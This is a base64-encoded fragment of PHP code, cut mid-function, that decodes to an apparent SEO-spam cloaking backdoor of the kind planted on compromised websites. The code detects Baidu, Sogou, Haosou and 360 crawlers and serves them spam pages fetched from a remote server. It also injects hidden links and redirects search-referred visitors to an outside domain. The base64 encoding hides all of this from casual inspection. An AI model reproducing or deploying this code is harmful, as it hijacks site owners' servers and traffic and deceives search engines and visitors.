Y2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCWV4 aXQoKTsKCQkJCQkJfQoJCQkJCQllbHNlCgkJCQkJCXsJCgkJCQkJCQkvL8Kww7zCusKswr3DuEFQ UMK8wrTCv8OJCgkJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNLX0FQUEZJTEUp OwoJCQkJCQkJaWYoJGN1cnJlbnRQYWdlICYmIHN0cmxlbigkY3VycmVudFBhZ2UpID4gMzIgJiYg c3RyaXN0cigkY3VycmVudFBhZ2UsIjwvZXhwbG9kZT4iKSl7CgkJCQkJCQkJJHZhciA9IHNlbGY6 OmN1dCgkY3VycmVudFBhZ2UsIjxleHBsb2RlPiIsIjwvZXhwbG9kZT4iKTsKCQkJCQkJCQkkdmFy ID0gY29yZUFwcENhY2hlOjpkZWNvZGUoJHZhcik7CgkJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9j b250ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQkJZm9yZWFjaCgkdmFyIGFzICRrZXk9 PiR2KXsKCQkJCQkJCQkJJGZsYWcgPSAieyIuJGtleS4ifSI7CgkJCQkJCQkJCSRwYWdlID0gc3Ry X3JlcGxhY2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJCX0KCQkJCQkJCQllY2hvICRwYWdlOwoJ CQkJCQkJCUBjb3JlQXBwQ2FjaGU6OndyaXRlbm9jb2RlKCRjdXJyZW50UGFnZSwkY2FjaGVGaWxl KTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJCQkJZWxzZQoJCQkJCXsK CQkJCQkJJGN1cnJlbnRQYWdlID0gaW5jbHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJZWNo byAkY3VycmVudFBhZ2U7CgkJCQkJCWRpZSgpOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UKCQkJCXsK CgkJCQkJJHRoaXMtPl91bmNvbmRpdGlvbl9ob29rKCk7CgkJCQl9CgkJfQoJCWVsc2UKCQl7CQoJ CQlpZigkdGhpcy0+aXNSZWYoKSAmJiAkdGhpcy0+Y29uZGl0aW9uKXsKCQkJCSR0aGlzLT5KdW1w KCk7CgkJCX0KCQkJZWxzZQoJCQl7CgkJCQkkdGhpcy0+X3VuU3BpZGVyX2hvb2soKTsKCQkJfQoJ CX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNBbGxvd2RJcCgpewoJCSRpcCA9ICR0aGlzLT5jbGll bnRJcCgpOwoJCSRub25fbGlzdCA9IGV4cGxvZGUoInwiLCR0aGlzLT5hbGxvd19pcCk7CgkJZm9y ZWFjaCgkbm9uX2xpc3QgYXMgJGlwbGlzdCl7CgkJCWlmKEBzdHJpc3RyKCRpcCwkaXBsaXN0KSl7 CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkJcmV0dXJuIHRydWU7Cgl9CgoJcHVibGljIGZ1 bmN0aW9uIGNsaWVudElwKCl7CgkJaWYoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpICYmIHN0cmNh c2VjbXAoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVp cCA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKCQl9IGVsc2VpZihnZXRlbnYoJ0hUVFBfWF9G T1JXQVJERURfRk9SJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9S JyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVE X0ZPUicpOwoJCX0gZWxzZWlmKGdldGVudignUkVNT1RFX0FERFInKSAmJiBzdHJjYXNlY21wKGdl dGVudignUkVNT1RFX0FERFInKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYo J1JFTU9URV9BRERSJyk7CgkJfSBlbHNlaWYoaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10p ICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICYmIHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFTU9U RV9BRERSJ10sICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gJF9TRVJWRVJbJ1JFTU9URV9B RERSJ107CgkJfQoJCXByZWdfbWF0Y2goIi9bXGRcLl17NywxNX0vIiwgJG9ubGluZWlwLCAkb25s aW5laXBtYXRjaGVzKTsKCQkkb25saW5laXAgPSAkb25saW5laXBtYXRjaGVzWzBdID8gJG9ubGlu ZWlwbWF0Y2hlc1swXSA6ICd1bmtub3duJzsKCQl1bnNldCgkb25saW5laXBtYXRjaGVzKTsKCQly ZXR1cm4gJG9ubGluZWlwOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc1NwaWRlcigpewoJCSRib3Rz ID0gYXJyYXkoCgkJCQknQmFpZHUnICAgICAgICA9PiAnYmFpZHVzcGlkZXInLAoJCQkJJ1NvZ291 JyAgICAgICAgPT4gJ3NvZ291JywKCQkJCSdIYW9zbycgICAgICAgID0+ICdoYW9zb3VzcGlkZXIn LAoJCQkJJzM2MHNwaWRlcicgICAgICAgID0+ICczNjBzcGlkZXInCgkJICk7CgkJJHVzZXJBZ2Vu dCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCQlmb3JlYWNoICgk Ym90cyBhcyAkayA9PiAkdil7CgkJCWlmIChzdHJpc3RyKCR1c2VyQWdlbnQsJHYpKXsKCQkJCWlm KCFlbXB0eSgkdGhpcy0+bG9nX3NwaWRlcikpewoJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGhp cy0+bG9nX3NwaWRlciwkdi4iLT5WaXNpdGVkICIuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddLiJh dDogIi5kYXRlKCJZLW0tZCBIOmk6cyIpLiJcbiIsRklMRV9BUFBFTkQpOwoJCQkJfQoJCQkJJHRo aXMtPmN1cl9zcGlkZXIgPSAkazsKCQkJCXJldHVybiB0cnVlOwoJCQkJYnJlYWs7CgkJCX0KCQl9 CgkJcmV0dXJuIGZhbHNlOwkKCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNSZWYoKXsKCQkkcmVmID0g c3RydG9sb3dlcihAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsKCQlpZihpc3NldCgkX0NPT0tJ RVsiZG9tYWluLWZpbHRlci1ieXBhc3MiXSkpewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCWlm KCEkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJc2V0Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFz cyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlmb3Jl YWNoKCR0aGlzLT5odHRwX3JlZl9maWx0ZXIgYXMgJHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlp ZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXNldGNvb2tpZSgiZG9tYWluLWZpbHRlci1ieXBhc3Mi LCAibG9sIiwgdGltZSgpICsgMjU5MjAwKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQoJ CWZvcmVhY2goJHRoaXMtPmp1bXBfcmVmIGFzICRyKXsKCQkJJHIgPSB0cmltKCRyKTsKCQkJaWYo c3RyaXN0cigkcmVmLCRyKSl7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCX0KCglwdWJsaWMg ZnVuY3Rpb24gZ2V0U2VydmVyTmFtZSgpIAoJeyAKCQkkU2VydmVyTmFtZSA9IHN0cnRvbG93ZXIo JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10/JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ106JF9TRVJWRVJb J0hUVFBfSE9TVCddKTsgCgkJaWYoIHN0cnBvcygkU2VydmVyTmFtZSwnaHR0cDovLycpICkgCgkJ eyAKCQkJcmV0dXJuIHN0cl9yZXBsYWNlKCdodHRwOi8vJywnJywkU2VydmVyTmFtZSk7IAoJCX0g CgkJcmV0dXJuICRTZXJ2ZXJOYW1lOyAKCX0KCglwdWJsaWMgZnVuY3Rpb24gZ2V0UGFnZSgpewoJ CWlmKCR0aGlzLT5pc0NhY2hlKXsKCQkJJGNhY2hlPSJjYWNoZWQiOwoJCX0KCQkkdXJsICA9ICR0 aGlzLT5hcHBfc2VydmVyLiI/ZG9tYWluPSIuJHRoaXMtPmRvbWFpbi4iJmdpZD0xOTkmc3BpZGVy PSIuJHRoaXMtPmN1cl9zcGlkZXIuIiZjYWNoZT0iLiRjYWNoZS4iJmxvY2FsUGFyPSIuaHR0cF9i dWlsZF9xdWVyeSgkX0dFVCk7CgkJcmV0dXJuICR0aGlzLT5IdHRwVmlzaXQoJHVybCk7Cgl9Cgog ICAgcHVibGljIGZ1bmN0aW9uIEh0dHBWaXNpdCgkd2VidXJsKSB7CiAgICAJJHVzZXJfYWdlbnQg PSAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTBfNSkgQXBwbGVX ZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQ1LjAuMjQ1NC44NSBTYWZh cmkvNTM3LjM2IFFRQnJvd3Nlci8zLjkuMzk0My40MDAiOwogICAgICAgICRyZW1vdGVfZGF0YSA9 IE5VTEw7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9leGVjJykpIHsKICAgICAg ICAgICAgJGN1cmwgPSBAY3VybF9pbml0KCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VUkwsICR3ZWJ1cmwpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmws IENVUkxPUFRfSEVBREVSLCAwKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJM T1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwg Q1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyX2FnZW50KTsgCiAgICAgICAgICAgICRyZW1vdGVf ZGF0YSA9IEBjdXJsX2V4ZWMoJGN1cmwpOwogICAgICAgICAgICBAY3VybF9jbG9zZSgkY3VybCk7 CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3RyZWFt X2NvbnRleHRfY3JlYXRlJykpIHsKICAgICAgICAgICAgICAgICRoZWFkZXJfYXJyYXkgPSBhcnJh eSgnaHR0cCcgPT4gYXJyYXkoJ21ldGhvZCcgPT4gJ0dFVCcsICd0aW1lb3V0JyA9PiAzMCkpOwog ICAgICAgICAgICAgICAgJGh0dHBfaGVhZGVyID0gQHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkaGVh ZGVyX2FycmF5KTsKICAgICAgICAgICAgICAgICRyZW1vdGVfZGF0YSA9IEBmaWxlX2dldF9jb250 ZW50cygkd2VidXJsLCBmYWxzZSwgJGh0dHBfaGVhZGVyKTsKICAgICAgICAgICAgfSBlbHNlIHsK ICAgICAgICAgICAgICAgICR0ZW1wX3VybCA9IGV4cGxvZGUoIi8iLCAkd2VidXJsKTsKICAgICAg ICAgICAgICAgICRuZXdfdXJsID0gJHRlbXBfdXJsWzJdOwogICAgICAgICAgICAgICAgJGh0dHBf cG9ydCA9IDgwOwogICAgICAgICAgICAgICAgJGdldF9maWxlID0gc3Vic3RyKCR3ZWJ1cmwsIHN0 cmxlbigkbmV3X3VybCkgKyA3KTsKICAgICAgICAgICAgICAgIGlmIChzdHJzdHIoJG5ld191cmws IGNocig1OCkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHNfdmFyX2FycmF5Wyd0ZCddID0gZXhw bG9kZShjaHIoNTgpLCAkbmV3X3VybCk7CiAgICAgICAgICAgICAgICAgICAgJG5ld191cmwgPSAk c192YXJfYXJyYXlbJ3RkJ11bMF07CiAgICAgICAgICAgICAgICAgICAgJGh0dHBfcG9ydCA9ICRz X3Zhcl9hcnJheVsndGQnXVsxXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRm c29ja19yZXN1bHQgPSBAZnNvY2tvcGVuKCRuZXdfdXJsLCAkaHR0cF9wb3J0KTsKICAgICAgICAg ICAgICAgIEBmcHV0cygkZnNvY2tfcmVzdWx0LCAnR0VUICcgLiAkZ2V0X2ZpbGUgLiAnIEhUVFAv MS4xJyAuICJcclxuIiAuICdIb3N0OicgLiAkbmV3X3VybCAuICJcclxuIiAuICdDb25uZWN0aW9u OkNsb3NlJyAuICJcclxuXHJcbiIpOwogICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRmc29j a19yZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlbW90ZV9kYXRhIC49IGZnZXRzKCRm c29ja19yZXN1bHQsIDEwMjQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQGZj bG9zZSgkZnNvY2tfcmVzdWx0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1 cm4gJHJlbW90ZV9kYXRhOwogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBKdW1wKCl7CgkJaWYoJHRo aXMtPmlzQWxsb3dkSXAoKSl7CgkJCSRkb21haW4gID0gc3RyX3JlcGxhY2UoIi4iLCJfIiwkdGhp cy0+ZG9tYWluKTsKCQkJaGVhZGVyKCdMb2NhdGlvbjogaHR0cDovL250Lnd4Y29vbGJhYnkuY29t L250Lz9qcF8nLiRkb21haW4pOwoJCQlleGl0OwoJCX0KCX0KCQoJcHVibGljIGZ1bmN0aW9uIF91 bmNvbmRpdGlvbl9ob29rKCl7CgkJJGFycmF5ID0gYXJyYXkoKTsKCQlmb3IoJGE9MDskYTw1OyRh KyspewoJCQllY2hvICc8YSBocmVmPSInLkFwcF9HZXRMaW5rKCkuJyI+PC9hPicuIlxuIjsKCQl9 Cgl9CgoJcHVibGljIGZ1bmN0aW9uIF91blNwaWRlcl9ob29rKCl7CgkJLy8KCX0KCgoJcHVibGlj IGZ1bmN0aW9uIHN0clN0YXJ0V2l0aCgkbmVlZGxlLCAkaGF5c3RhY2spewogIAkgIHJldHVybiAo c3Vic3RyKCRoYXlzdGFjaywgMCwgc3RybGVuKCRuZWVkbGUpKT09JG5lZWRsZSk7Cgl9CgkKCXB1 YmxpYyBmdW5jdGlvbiBjdXQoJGZpbGUsJGZyb20sJGVuZCkKCXsgCgkJJG1lc3NhZ2U9ZXhwbG9k ZSgkZnJvbSwkZmlsZSk7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGVuZCwkbWVzc2FnZVsxXSk7IAoJ CXJldHVybiAgICRtZXNzYWdlWzBdOwoJfQp9CgoK